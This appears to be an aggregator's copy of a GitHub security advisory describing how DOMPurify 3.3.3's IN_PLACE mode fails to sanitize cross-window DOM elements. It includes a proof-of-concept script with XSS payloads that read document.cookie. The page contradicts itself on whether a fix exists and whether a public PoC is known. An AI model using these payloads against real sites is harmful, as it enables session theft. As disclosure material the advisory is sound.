GHSA-4W3Q-35JP-P934
DOMPurify IN_PLACE mode fails to sanitize cross-window DOM elements, allowing XSS bypass
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:N/SC:H/SI:H/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4W3Q-35JP-P934 divulgada · CVSS 7.2 (GitHub) | |
| Remediación | Parche 3.4.0 | dompurify · 13 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Edit: Cure53 ###
Thanks for the report. We published for transparency and discussion, but we do not see it as actionable within DOMPurify’s threat model, so no fix is planned at this point. In our view, this is an edge-case discussion item rather than a regular, in-scope DOMPurify security issue.
### Summary
DOMPurify 3.3.3 fails to sanitize DOM elements passed via the `IN_PLACE` mode when the element originates from a different window/realm (e.g., an iframe's `contentDocument`), allowing all XSS payloads to survive sanitization.
Details
File: `src/purify.ts`, lines 1530–1556
The vulnerability is caused by a cross-realm `instanceof` check failure. DOMPurify uses a private `_isNode()` function to detect DOM nodes:
const _isNode = function (value: unknown): value is Node {
return typeof Node === 'function' && value instanceof Node;
};`Node` here is captured from the window used to initialize DOMPurify. When a DOM element from a different window (e.g., `iframe.contentDocument.createElement('div')`) is passed, `value instanceof Node` returns `false` because `instanceof` does not cross window/realm boundaries.
This triggers the following fallback code path:
// src/purify.ts:1530
if (typeof dirty !== 'string' && !_isNode(dirty)) {
if (typeof dirty.toString === 'function') {
dirty = dirty.toString(); // "[object HTMLDivElement]"
}
}
// src/purify.ts:1555
if (typeof dirty === 'string') {
IN_PLACE = false; // config overridden to false!
}The element is converted to the string `"[object HTMLDivElement]"`, which:
1. Has no `<` character, triggering the early return at the string fast-path
2. Resets `IN_PLACE` to `false`, abandoning the caller's intent
3. Returns the string `"[object HTMLDivElement]"` to the caller
The original element object is returned unchanged with all XSS attributes intact.
PoC
// poc_inplace_crosswindow.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
// Initialize DOMPurify with the main window (typical production setup)
const mainWindow = new JSDOM('', { runScripts: 'dangerously' }).window;
const DOMPurify = createDOMPurify(mainWindow);
// Attacker-controlled cross-window content (e.g., from an iframe)
const attackerWindow = new JSDOM('', { runScripts: 'dangerously' }).window;
const maliciousElement = attackerWindow.document.createElement('div');
maliciousElement.innerHTML = [
'<script>alert(document.cookie)</script>',
'<img src=x onerror=alert(document.cookie)>',
'<svg onload=alert(1)>',
].join('');
console.log('[BEFORE]', maliciousElement.innerHTML);
// Output: <script>alert(document.cookie)</script><img src="x" onerror="alert(document.cookie)">...
// Developer uses IN_PLACE, expecting the element to be sanitized
const result = DOMPurify.sanitize(maliciousElement, { IN_PLACE: true });
console.log('[AFTER]', maliciousElement.innerHTML);
// Output: UNCHANGED - <script>alert(document.cookie)</script><img src="x" onerror="alert(document.cookie)">...
console.log('[RETURN]', result);
// Output: "[object HTMLDivElement]" <- not the element! broken return value tooVulnerable application pattern:
// In a web app using same-origin iframes:
const iframe = document.getElementById('user-content-iframe');
const userEl = iframe.contentDocument.getElementById('user-submitted-content');
// BROKEN: Developer thinks this sanitizes the element
DOMPurify.sanitize(userEl, { IN_PLACE: true });
// XSS executes when element is appended to main document:
document.querySelector('#content-area').appendChild(userEl);Impact
An attacker who can cause a web application to call `DOMPurify.sanitize(element, {IN_PLACE: true})` with a DOM element sourced from a cross-window context (same-origin iframe, `window.open()`, `window.opener`) can bypass the sanitization entirely, causing XSS in the parent document when the element is rendered.
The attack requires:
- The application uses `IN_PLACE: true` (documented feature for performance optimization)
- The element passed originates from a different window object (same-origin iframe, opened window, etc.)
- The application renders the element into the main document after "sanitizing" it
The normal DOMPurify usage pattern (sanitizing HTML strings) is completely unaffected. Only the `IN_PLACE` DOM node path is vulnerable.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmdompurify |
Corregida | 3.4.0 | 13 d | 3.4.18 no afectada |
3.4.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/cure53/DOMPurify/security/advisories/GHSA-4w3q-35jp-p934Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
